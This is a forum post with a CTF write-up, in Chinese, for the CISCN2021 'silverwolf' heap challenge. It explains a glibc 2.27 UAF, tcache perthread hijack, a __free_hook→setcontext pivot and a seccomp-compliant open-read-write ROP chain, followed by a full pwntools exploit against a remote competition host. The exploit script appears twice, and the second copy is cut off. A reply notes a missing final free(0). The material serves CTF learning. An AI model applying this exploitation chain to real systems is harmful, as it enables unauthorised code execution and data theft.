首页
社区
课程
招聘
[原创]CISCN2021 sliverwolf PWN400
发表于: 2021-5-16 19:43 14446

[原创]CISCN2021 sliverwolf PWN400

2021-5-16 19:43
14446

感叹一下。太久没有做过libc pwn了,手生的不是一点 : (

初赛打完了,我们这边一共出了4/6个 PWN,不过学弟出的那一道800分的PWN远程我们调了半天调试不通,猜测是远程的seccomp影响了堆风水,有点遗憾。。(后浪们上来了啊)

这道sliverwolf我个人觉得是中等偏上难度的堆题,很适合新手进阶训练,来分享一下我的题解。

libc2.27的1.3版本,已经带了tcache的double free检测。需要通过破坏key来绕过double free检测。

开启了seccomp。以白名单的方式限制了只能是orw系统调用。
图片描述
图片描述

图片描述

主要就是这个很明显的UAF漏洞。可以导致:

由于限制chunk的大小不能大于0x78,所以正常情况下没法去把一个chunk放入unsortedbin。
这里有两种思路:

我这里采用1.

我们有了libc后,轻易的就可以将free_hook劫持为setcontext+53,而setcontext+53可以轻易的通过多次mov操作来重新设置寄存器,以rdi为base address来取值(类似srop),然后如果我们通过free操作,控制rdi指向的chunk首布置栈转移的chain,也就相当于可以控制了所有寄存器的值。此时完成了堆上orw的第一个准备。

在申请出来tcache pthread后我们可以对整个tcache的情况进行修改,而整个白名单orw链需要0xd8的空间,刚好比0x78+0x68大0x8。所以我们劫持tcahce pthread钟大小为0x80和0x70的tcahce的指针指向合适的地址,add0x68->写入orw1、add0x78->写入orw2,而orw1+orw2连续起来就是完成的堆上orw链。

最后free掉布置了栈转移的chunk即可,将rsp迁移到堆上orw链的起始位置。

这里需要注意:syscall;ret 这条指令直接拿ROPgadgets是搜不到的,我们直接将libc文件放入ida,根据他的编码:0x0f 0x05 0xc3在ida的binary search中搜索编码就能找到了。
图片描述

2.27的orwHeap在:https://blog.csdn.net/carol2358/article/details/108351308
这篇文章中有比较详细的描述,我就不从0讲了。

 
 
 
 
 
 
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "./libc-2.27.so"
elf_path = "./silverwolf_2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Your choice: '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
edi=''          # edit输入提示语
def add(index='',size='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
def free(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def clean():
    for i in range(14):
        add(0,0x18)
 
    add(0,0x58)
 
    for i in range(12):
        add(0,0x68)
 
def exp():
    global io
    #io = process(elf_path)
    # get_proc_base(io)
    # get_libc_base(io)
    io = remote('124.70.110.211',23535)
    clean()
    add(0,0x78)
 
    free(0)
    show(0)
    r(9)
    raw = u64(r(6).ljust(8,'\x00'))
    info("raw:"+hex(raw))
   # pause()
    heap = raw-0x1170
    success("heap: "+hex(heap)) # 泄露了heapbase
 
    edit(0,p64(heap+0x10)+p64(0)+'\n')
    #free(0)     # 0x555555757e90
    add(0,0x78)
    add(0,0x78#这里申请到了tacahce pthread
    #free(0)
    edit(0,'\x00'*0x78)
 
    for i in range(7):
        free(0)
        edit(0,p64(0)*2+'\n')
 
    free(0)     # 将tacahce pthread放入ub
    show(0)
 
    r(9)
    libc.address = u64(ru('\x7f').ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
    success("libc: "+hex(libc.address))
    setcontext = libc.sym['setcontext']+53
    free_hook = libc.sym['__free_hook']
    success("free_hook:"+hex(free_hook))
    success("setcontext:"+hex(setcontext))
    #free(0)          #              0x48               0x58         0x68                   0x78
    edit(0,p64(0x1)*8+p64(0)*3+p64(heap+0xef8)+p64(free_hook)+p64(heap+0xe18)+p64(heap+0xe80)+'\n')     # 准备打freehook,0xf20和0xe80是相邻的,用来写orw链
    success("orw:"+hex(heap+0xe18))
    add(0,0x58)                         # 把freehook申请出来
    edit(0,p64(setcontext)+'\n')        # 改freehook为setcontext
    #free(0)
    add(0,0x48)
 
    flag_addr = heap+0xf30
    rsp = heap+0xe18
    rbx = 0
    rbp = 0
    r12 = 0
    r13 = 0
    r14 = 0
    pop_rdi = libc.address+0x00000000000215bf
    stack_pivot = flat(
        rbx,rbp,r12,r13,r14,
        rsp+8,
        pop_rdi,'./flag\x00'
    )
    info("stack_pivot len:"+hex(len(stack_pivot)))
    edit(0,stack_pivot+'\n')
    add(0,0x68)     # 申请出0x50的写orw1
    flag_str_addr = heap+0xf30
    pop_rdi = libc.address+0x00000000000215bf
    pop_rsi = libc.address+0x0000000000023eea
    syscall = 0xD2745+libc.address      #0x0f 0x05 0xc3
    pop_rax = libc.address + 0x0000000000043ae8
    pop_rdx_r10 = 0x0000000000130544+libc.address
    flag_addr = heap+0x200
    info(hex(pop_rdi)+' '+hex(pop_rsi))
    orw1 = flat(
        pop_rdi,
        flag_str_addr,
        pop_rsi,
        0,
        pop_rax,
        2,
        syscall,
 
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx_r10,
        0x100,
    )
    edit(0,orw1+'\n')
 
    add(0,0x78)
    orw2 = flat(
        0,
        pop_rax,
        0,
        syscall,
 
        pop_rdi,
        1,
        pop_rsi,
        flag_addr,
        pop_rdx_r10,
        0x100,
        0,
        pop_rax,
        1,
        syscall
    )
    edit(0,orw2+'\n')
 
    shell()
 
exp()
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "./libc-2.27.so"
elf_path = "./silverwolf_2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Your choice: '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
edi=''          # edit输入提示语
def add(index='',size='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
def free(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def clean():
    for i in range(14):
        add(0,0x18)
 
    add(0,0x58)
 
    for i in range(12):
        add(0,0x68)
 
def exp():
    global io
    #io = process(elf_path)
    # get_proc_base(io)
    # get_libc_base(io)
    io = remote('124.70.110.211',23535)
    clean()
    add(0,0x78)
 
    free(0)
    show(0)
    r(9)
    raw = u64(r(6).ljust(8,'\x00'))
    info("raw:"+hex(raw))
   # pause()
    heap = raw-0x1170
    success("heap: "+hex(heap)) # 泄露了heapbase
 
    edit(0,p64(heap+0x10)+p64(0)+'\n')

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-5-16 19:47 被Roland_编辑 ,原因:
上传的附件:
收藏
免费 5
支持
分享
最新回复 (4)
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2021-5-17 09:13
0
雪    币: 449
活跃值: (262)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
seccomp确实会影响堆的风水,主要是seccomp_rule_add和seccomp_load这两个函数影响了tcache和fastbin的风水。
2021-5-26 17:21
0
雪    币: 2143
活跃值: (2792)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
syscall;ret这条gadget可以用ropper来找
2021-5-26 18:33
0
雪    币: 449
活跃值: (262)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
针不戳,虽然还有一些看的不是很懂。另外提醒一下楼主,exp代码最后漏了一行 free(0)。
2021-5-28 16:41
0
游客
登录 | 注册 方可回帖
返回
//